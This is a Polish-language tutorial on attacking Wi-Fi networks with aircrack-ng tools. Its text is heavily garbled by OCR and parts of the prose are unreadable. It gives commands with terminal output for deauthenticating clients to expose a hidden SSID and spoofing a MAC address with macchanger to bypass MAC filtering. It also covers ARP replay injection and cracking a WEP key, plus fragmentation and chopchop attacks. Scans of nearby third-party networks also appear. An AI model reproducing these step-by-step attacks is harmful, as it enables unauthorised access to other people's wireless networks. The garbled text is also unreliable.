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1. Pierwsze kroki

1.1.Urucho mienie trybu monitor na karcie bezprzewodowej

Bardzo waUnN rzeczN prjestasfawipnie kaytpw tiytpmoeitarj e m d
kanagu na kt-rym bindzie pracowal oraz priadko
Projekt. Si el t a lel3w fybie 80211tk cxaz 8024 (tryb mieszany).

Pierwszym krokiem bindzie wgNczenie samej kar

kanagu i na koG u prnindkoSci
ifconfig rausbO up
iwconfig rausbO mode monitor

airmon - ng start rausb0 13 (13tonumerkaagu na Kkt -rym pracuj]

Point)

Teraz ugapwaooredci edpowi edni e dekl aracij e
mac naszej karty sieciowej oraz adresu mac naszego Access®antan ki t emu ni e |
musieli wpisywal z aomtired) dyf iiterrAbyzeepm ddogkwogniad h nka | ¢
edyt owktt/prgiileii kdodal dwa wpi sy:

declare macap=00:0C:41:38:61:6E imac naszego Access Poi |

wywogywany jako parametr $macap

declare mac= 00:1C:10 :65:7E:EE T mac naszej karty sieciove bndzi e t er &

wywogywany jako parametr $mac



2l )] Shell No. 2 - Konsole 2 X

W Shell | W& Shell No. 2 W& Shell No. 3 W Shell No. 4 o
.MPEG=01;35:*.mpg=01;35:*%.MPG=01;35:*.0g9g=01;35:*.0GG=01;35:*.pbm=01;35:*.pgm=01;35:*.png=01;35:*.PNG=0 &
1;35:*%.ppm=01;35:*.ram=01;35:*.RAM=01;35:%.rm=01;35:*.RM=01;35:*. tga=01;35:*. TGA=01;35:*. tif=01;35:%.TI
F=01;35:*%,tiff=01;35:*. TIFF=01;35:%.wav=01;35:* WAV=01;35:*, . wma=01;35: % . WMA=01;35:*.wmv=01;35:* WMV=01;
35:%.xbm=01;35:*%.xcf=01;35:%.xpm=01;35:*. xwd=01;35:*.XWD=01;35:"
declare -x LS OPTIONS=" -F -b -T 0 --color=auto "
declare -x MAIL="/var/spool/mail/root"
declare -x MANPATH="/usr/local/man:/usr/man:/usr/X11R6/man: /usr/1ib/java/man"
declare -x MINICOM="-c on"
declare -x OLDPWD
declare -x PATH="/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin: /usr/local
/apache/bin: /usr/local/pgsql/bin: /fopt/mono/bin: fusr/local/pgsql/bin: /opt/nessus/bin: . :/usr/lib/java/bin
:/usr/lib/java/jre/bin: fusr/1ib/qt/bin"
declare -x PKG_CONFIG_PATH="/usr/local/lib/pkgconfig:/usr/1ib/pkgconfiq: /usr/local/1lib/pkgconfig"
declare -x PS1="\\[\\033[01;3Im\\]\\h \N[A\O33[01;34m\\I\AW \\AS AN[\\O33[00m\\] "
declare -x PS2="> "
declare -x PWD="/root"
declare -x QTDIR="/usr/lib/qt"
declare -x SESSION_MANAGER="local/bt:/tmp/.ICE-unix/3140"
declare -x SHELL="/bin/bash"
declare -x SHLVL="5"
declare -x TI1LIB_CONFIG="/usr/share/t1llib/t1lib.config"
declare -x TERM="xterm"
declare -x USER="root"
declare -x VISUAL="mcedit"
declare -x WINDOWID="27262983"
declare -x WINDOWPATH="7"
declare -x XAUTHORITY="/root/.Xauthority"
declare -x XCURSOR_THEME="default"
declare -x XDG_CONFIG_DIRS="/etc/xdg:/etc/kde/xdq:/etc/kde/xdg"
declare -x mac="00:1c:10:65:7e:ee"

declare -x macap="00:0C:41:38:61:6E" -
Rysunekl9 FS1 0 RIAIFIOFIYAS 12YSyRé SELRNI
Teraz moUemy sprawdzil czy to co zrobili Smy
wpi sal
airodump - ng rausbO (rausbO to nazwa naszegoti er f ej su, moggoby t

wlanOlub athO itp



Shell - Konsole

ull Shell | il Shell No. 2 wf Shell No. 3 o Shell No. 4

1[ Elapsed: 8 mins ][ 2008-04-11 13:16

PWR Beacons #Data, #/s CH I ENC CIPHER AUTH ESSID
103 83 236 p 52 . WEP WEP PARTNER-Konstytucja-1
102 262 4 0 13 . OPN <length: 0>
99 54 51 0 4 OPN partner_konstytucja
97 16 0 0 10 WEP  WEP neostrada_3758
97 20 3 0 11 . OPN INTERNET. SERWIS-TEL: 77436135
STATION PWR Rate Lost Packets Probes
00:11:95:20:FC:4C -1 5- 0 130
00:19:E0:82:40:32 -1 5- 0 97
00:40:05:3F: 1A:BE -1 11- 0 34
Rysunel51T A OF yA S LR2tgOSY Al | ANRRdzZYLJ
Widzimy, Ue wszysT&kmapi mkaniimy dznalga¥l odpowi ec

nasza karta siecZalwaly fdszysiem guambe sameakarty jak i

odl eggoSci pomi ndzy Access Pointem a klientem
odpowi edni a muShelmy wpisal w w

aireplay -9 -a $macap - B rausbO

-9 test wstrzykiwania i jakoSci

-a bssid czyli manaszego Access Pointa

$macap adres mac naszego Access Pointa, kt-ry

B aktywuje test dla r-Unych priadkoSci pogNcze



Shell No. 2 - Konsole

ol Shell | W ShellNo.2 | wEShellNo.3 | wfShellNo. 4

aireplay-ng -9 -a $macap -B raush@
Waiting for beacon frame (BSSID: 00:0C:41:38:61:6E) on channel 13
Trying broadcast probe requests...
Injection is working!
Found 1 AP

Trying directed probe requests...

00:0C:41:38:61:6E - channel: 13 - 'Projekt’

Ping (min/avg/max): 8.187ms/77.881ms/148.183ms Power: 95.00
12/30: 40%

Trying directed probe requests for all bitrates...

00:0C:41:38:61:6E - channel: 13 - 'Projekt’
Probing at 1.0 Mbps: 1/30: 3%
Probing at 2.0 Mbps: 8/30: 26%
Probing at 5.5 Mbps: 15/30: 50%
Probing at 6.0 Mbps: 14/30: 46%
Probing at 9.0 Mbps: 3/30: 10%
Probing at 11.0 Mbps: 3/30: 10%
Probing at 12.0 Mbps: 19/30: 63%
Probing at 18.0 Mbps: 11/30: 36%
Probing at 24.0 Mbps: 16/30: 53%
Probing at 36.0 Mbps: 2/30: 6%
Probing at 48.0 Mbps: 9/30: 30%
Probing at 54.0 Mbps: 20/30: 66%

RysunelB9 ¥ S1 G RIT A | Olagmiataph rausd LI | &

Generalnie jidet tAPk, eBe¢ eiSmyblt ym mog&my ewi aks z
uOywaliat ego ustawimy sobie priadkioSi nasze|j kar

iwconfig rausbO rate 54M

120 EAOxOUA ET OU UA bPET OU AUUGuKeteGADOT x AT EA

Na poczNtku obe-woli&myesobi jak dziaga wif¢
Zatem pr zej) dMNapgervwdwpiszmy polecemek i

airodump - ng rausbO



mc - / - Shell - Konsole

CH 13 1[ Elapsed: 24 s ][ 2008-04-11 14:17
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:02:6F:43:FA:4B 105 2 11 0 2 5. WEP WEP PARTNER-Konstytucja-1
00:0C:41:38:61:6E 98 25 0 0 13 54. OPN <length: 0>

BSSID STATION PWR Rate Lost Packets Probes

00:02:6F:43:FA:4B 00:11:95:20:FC:4C -1 5-
00:02:6F:43:FA:4B 00:19:E0:82:40:32 -1 5-

0 9
0 2

0
0

Rysunekd Wykrywanie sieci w okolicy

Spowoduje to uruchomi enime agkrtaigrl anmlu ,l ikstt-fir ys i
BSSI D, ESSI D, Kanag, |l oSiI przesyganych pa
zabezpieczenia) bezprzewodowych oraz kIl ien:
Projekt jest ukryta, znam jej adres mac czyli 00:0c:41:38:61:6e Esszthwy na

screenie to <length: 0>. Pytanie: jak przy
chroniona jest tylko poprzez ukrywanie SSI
nazwi bfidziemy mogli sif pogeNamszoypld. vz Access
MoUemy tego dokonal na kilka sposob- w:

1. Czekamy, aU jaki S zkaSSIZnt sin dogNczy, k-

2. AWykopaoakleimgnt -w juU przygNczonych, Ueby
Access Pointa

Pierwszego punktygb nd i opi sywag Wy s tjardd dynyp ovd zalkzd e |
jakN nazwh ma nasza siel.

Drugi punkt polega na tympoaoniep bffNemenjalUzp:
Access Pointem. Dzinki tlemu przechwyci my n,

Najpierwk o Ec zymy dzi anggan(iCet radi+rcodumpast ipni e w n
usewi amy ponownie kanag na katrmomngrauspOrldcuj e n
kopiujemy mac klienta podgNczonego do Acce:
wszyst ko mioolHumpg-rg@ hmami n a mkoldmnkBSSID oraze o

STATION. BSSI1iDe bpriodkzazywad nam adres mac Access
adres mac klienta podgNczonego do danego A
odpowi edni N komendi 2z wehtluonti edni m adresem

Adres naszego klienta @:90:4b:5b:69:df
aire play -ng -010 Ta$macap 7ic 00:90:4b:5b:69:df rausbO



-0 znaczy deauthencation

10 il oS wysganych
-a adres mac Access Pointa

-c adres mac klienta Access Pointa

iwconfig rausb@ channel 13
aireplay-ng -0 10 -a $macap -c 00:90:4B:5B:69:DF raush®
Waiting
Sending
Sending
Sending
Sending

146
46
147
48
149
0]
25
=02
03
154
156

for beacon frame (BSSID: 00:0C
64 directed DeAuth. STMAC:
64 directed DeAuth. STMAC:
64 directed DeAuth. STMAC:
64 directed DeAuth. STMAC:
64 directed DeAuth. STMAC:
64 directed DeAuth. STMAC:
64 directed DeAuth. STMAC:
64 directed DeAuth. STMAC:
64 directed DeAuth. STMAC:
64 directed DeAuth. STMAC:

Sending
Sending
Sending
Sending
Sending
Sending

Rysuneks5 1 A | @ilepfagerfy -0 10ca $macapcc 00:90:4b:5b:69:df rausb0

oraz w shellu 2

airodump - ng rausb0

mc - / - Shell - Konsole

| W& Shell | w& ShellNo.2

of Shell No. 3

CH 12 1[ Elapsed: 16 s ][ 2008-04-11 14:48

BSSID PWR Beacons #Data, #/s CH MB ENC

00:02:6F:43:FA: 4B
00:0C:41:38:61:6E

104
102

4 6 0 2 5. WEP WEP
19 0 0 13 54. OPN
BSSID STATION PWR Rate Lost Packets
00:02:6F:43:FA: 4B

(not associated)

00:11:95:20:FC:4C
00:90:4B:5B:69:DF

5- 0 0 5
0= 0

79

Rysunel65 1 A | OF y A $g faush0®R R dzY LJ

1.3 Kontrola adres-w MAC

[00:
[00:
[00:
[00:
[00:
[00:
[00:
[00:
[00:
[00:

czyl

141
90 .
90:
90:
90
90 :
90
90
90
90
90:

38.
4B
4B
4B
4B
4B
4B
4B:
4B:
4B
4B:

Probes

4 Projekt

61.
5B:
SB:
5B:
5B:
5B:
SB:
S5B:
5B:
5B:
5B:

CIPHER AUTH ESSID

PARTNER-Konstytucja-1

B6E) on
69:
69:
69:
69:
69:
69:
69:
69:
69:
69:

Projekt

fodgNczenieod

UNdaE® odgNczeni a

channel 13
0 ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]

DF]
DF]
DF]
DF]
DF]
DF]
DF]
DF]
DF]
DF]

(oo NoNoNoRolollollo)




Wc z e Sni enjysobipte zabelpie&enie Ter az potewfii Nergh &l 851 Dn
problemu potrafimy teU poznal adresy MAC Kkl i e]
dokonal wystarczy wpisal w Stell znane nam po

airodump - ng rausbO

Spowodujetavy Swi et | eni e wszystkich kI i PaintemMak Kkt -r z
oto mamy naszego klienta o numerze mac 00: 90: .

Access Pointa.

: Wl Shell ull Shell No. 2 o Shell No. 3 wll Shell No. 4

CH 13 1[ Elapsed: 52 s ][ 2008-05-24 12:23
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:02:6F:43 101 9 25 0 2 5. WEP WEP PARTNER-Konstytucja-1
00:0C:41:38 91 8 9 0 13 54. WEP WEP Projekt

BSSID STATION Rate Lost Packets Probes
00:02:6F:43 00:30:4F:29:EF:F3

00:02:6F:43 00:11:95:20:FC:4C
00:0C:41:38 00:90:4B:5B:69:DF

Rysunek72 @ { NB gl yAS | RNBasg al /
Teraz tzmajaMa es wystarczy wydgNecnrayci. nMvaoslzl N wkea rtton
za pomocN poleceni a

iwconfig rausbO down
macchanger T m 00:90:4B:5B:69:DF rausbO
ifconfig rausbO up

Teraz moUemy sifn cieszyl tym, Ue Access Point

korzystal z jego zasob- w.



1.4WEPi 64i128bitz podgdNczonym klientem

SgaboSci N protokodu WEP jest niewNtpliwie we
i mpl ement acj a. Pr-obweopi"gsadly waarn édzo | d/okgadni e
dokumencie "Unsafe at any key size; An analisis of the WEResoal at i on" . Mo Ue my
przeczytal, Ue przy stosowaniu 40 bitowego kI i
powt -rzenia |V wynosi 50% przy zgromadzeniu o

12430 ramek. Tak, winc rkaalkolizjan IV nie trze

Naszym zadaniem bndzie nazbieranie odpowi edn

zmi eni aj Nce sifn wektory i nicjalizacj.i (v

Na pocz Nt ku talsmoaitwiorai asalji aa kt -r yessPpintacuj e n

nastnpnie sprawdzimy jaka bndzie najlepsza pr
ifconfig rausbO up
iwconfig rausbO mode monitor

airmon - ng start rausb0 13

air eplay -ng -9 ia$macap ie APr oj éRrausb0



Shell - Konsole

aireplay-ng -9 -a $macap -B rausb@
4:10 Waiting for 1 frame (BSSID: 00:0C:41:38:61:6E) on channel 13
4:10 ying broa ‘
4:18 Injection is
4:12 Found 1 AP

A7
. T
N
. T

4:14 Pi ( : ax): /49, 95dms .:’-’ s Power: 94,13
4:14

©0:09C:41:38:61:6E - channel: 13 - 'Projekt’
Probing at 1.C 21/30: 704
Probing at

Probing at 5.

Probing at

Probing at

Probing at

Probing at

Probing at

Probing at

Probing at 36

Probing at 48

Probing at

[Kin QN I 5 R Iy S s I

L L L B Bd Bd Ped Pl P

Inoba @

Rysunek8Dzi OF YA S LIt S99 yaiinacapdS NB& LINEBRaBSb £

Teraz musimy urnughomiymaiUedufmpzi e mi af

zapisanie pakiet-w do pliku, wyb-r kanagu

airodump -ng -c13 -- bssid $macap - w pakiety rausbO

mc - / - Shell - Konsole

| W Shell | W@ ShellNo.2 | wff ShellNo. 3

CH 13 ][ Elapsed: 1 min ][ 2008-04-11 16:03

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:0C:41:38:61:6E 93 100 632 7140 93 13 54. WEP WEP OPN <length:

BSSID STATION PWR Rate Lost Packets Probes

00:0C:41:38:61:6E 00:90:4B:5B:69:DF 79 54-54 5 9162

RysunelO5 1T A OF yA S LI2 f-rf§ OGS yinkite welp64d NeRaRroYL B Jaush0

Nast imurmsiieny dogNczyl sin do Access Pointa

10

wi ncej

na

APr o



Nastfipnie musimy pogNczyl sifh padecehiacess Pointe
aireplay -ng -10 -e iPr oj e ka $macap 1 h $mac raush0

W kolejnym kroku uruchamiamy aireplmagw o dpowi edni m trybie, kt - -ry
UNdania ARP a nastnpnie bindzie wstrzykiwag je
to i (& Acocienss bfindzie ponowni e tr aNasayhzadeanemy | e o
jest nazbieral pakiet-w |V jak naj wifncej

aireplay -ng -3 -b$macap - h $mac rausb0

Shell No. 2 - Konsole

Wl Shell | W& Shell No. 2 o Shell No. 3 & Shell No. 4 o Shell No. 5

b aireplay-ng -1 0 -e ;Projekt" -a Shacap -h $mac rausb@
17:29:46 Waiting for beacon frame (BSSID: 00:0C:41:38:61:6E) on channel 13

17:29:46 Sending Authentication Request (Open System)

17:29:46 Authentication successful

17:29:46 Sending Association Request

17:29:46 Association successful :-)

bt aireplay-ng -3 -b $macap -h $mac raush0

17:30:20 Waiting for beacon frame (BSSID: 00:0C:41:38:61:6E) on channel 13
Saving ARP requests in replay_arp-0524-173020.cap

You should also start airodump-ng to capture replies.

Read 1043 packets (got 11 ARP requests and 0 ACKs), sent 1648 packets...(499 pps

RysuneklO5 1T A OF YA S Llhd SOSZ I ANBLX | &
Po fiwy gapRmood-u3000gaki et - w moUemy mami yas tkNpiciz ad w
bitowego, chcNc zgamal kIl uc z4000P0B~ 5600800 wy nal e 0:

pakiet - - w.
mc - ~ - Shell - Konsole

Wl Shell | o ShellNo. 2 ; wfl Shell No. 3 ol Shell No. 4

CH 13 1[ Elapsed: 54 mins ][ 2008-05-24 11:37

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:0C:41:38:61:6E 93 62 21167 341621 49 13 54. WEP WEP OPN <length: 0>

BSSID STATION PWR Rate Lost Packets Probes

00:0C:41:38:61:6E 00:90:4B:5B:69:DF 87 54- 1 21 529941

Rysunekl1%46 A SNI yAS LI} {ASis 5

aircrack - ng 71 n 64 pakiety -0l.cap

11



Natomi ast chcNc zgamal klucz WEP 128 bitowy wpi s
aircrack - ng 71 n 128 pakiety -0l.cap

aircrack-ng -n 64 pakiety-01.cap
Opening pakiety-01.cap
Read 530555 packets.
# BSSID Encryption
1 00:0C:41:38:61:6E WEP (341626 IVs)

Choosing first network as target.

Opening pakiety-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 341626 ivs.
KEY FOUND! [ D3:37:80:B6:8E ]
Decrypted correctly: 100%

Rysunekli2 I YI yA S {1t dzOT |

15. 7 %0 @t E pcy AAU &f AcaAUlI T UAE EI EAT O

W poprzedniej metodzie prszieecchiwy tkytwarlé Sgreyn edrNodvaa
niej podgNczeni. Co natomiast zrobil gdy nie |

natomi ast sN klienci podgNczeni za pomocN kab

Jak zawsze na samym tpomonithiklam aju siiamg t p s Fanwivia d z

karta wif.i oraz | ej pridkoSi, wiemy jak to zr
Teraz standar dowo reuwidrzyiglenienie hacesafointéna § s z y w
aireplay -ng -10 -e default -a$macap - h $mac rausb0

Gdy to juU zrobtmkipomsghOpmhopi hub fragment ac
PRGA (pseudo random generation algorithm). PR
to dekryptacji pakiet-w. JednakUe moUe byl wyl

paki et - w.
Abywykond atak fragmentaci.i do uzyskania pliku z

aireplay -ng -5 -b$macap -h $mac raush0

12



mc - fair/aircrack-ng-1.0-beta2/test - Shell No. 2 - Konsole
WZ Shell | Wl ShellNo.2 | wff ShellNo. 3

b1 aireplay-ng -5 -b $macap -h $mac rausho

14:16:05 Waiting for beacon frame (BSSID: 00:0E:2E:C4:1F:31) on channel 11
14:16:06 Waiting for a data packet...

Read 73 packets...

Size: 88, FromDS: 0, ToDS: 1 (WEP)
BSSID

Dest. MAC
Source MAC

00:0E:2E:C4:1F:31
00:0E:2E:C4:1F:31
00:90:4B:5B:69:DF

0x0000: 0841 2c00 000e 2ec4 1f31 0090 4b5h 69df
0x0010: 000e 2ecd4 1f31 002b 6a22 6400 37d6 3f39
0x0020: 2570 6c9a 8422 129a 0399 65db b1lc9 5054
0x0030: 1423 8444 f7fc 956d Secf c609 9a52 2710
0x0040: belb 51el 1c59 5f77 4a6b ad37 fc45 6486
0x0050: 34fe edac 813a 150e

Use this packet ? y

Sav1ng chosen packet in replay_src-0530-141632.cap
6:39 Data packet found!
Sending fragmented packet
Got RELAYED packet!
Trying to get 384 bytes of a keystream
No answer, repeating...
Trying to get 384 bytes of a keystream
Trying a LLC NULL packet
No answer, repeating...
Trying to get 384 bytes of a keystream
Got RELAYED packet!
Trying to get 1500 bytes of a keystream
No answer, repeating...
Trying to get 1500 bytes of a keystream
Trying a LLC NULL packet
Got RELAYED packet!
Saving keystream in fragment-0530-141645.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Rysunek 13 Atak fragmentacji

lub atak chopchop

aireplay -ng -4 -b3$macap -h 3$mac raush0

13



Rysunek14 Atak chopchop cz1

14



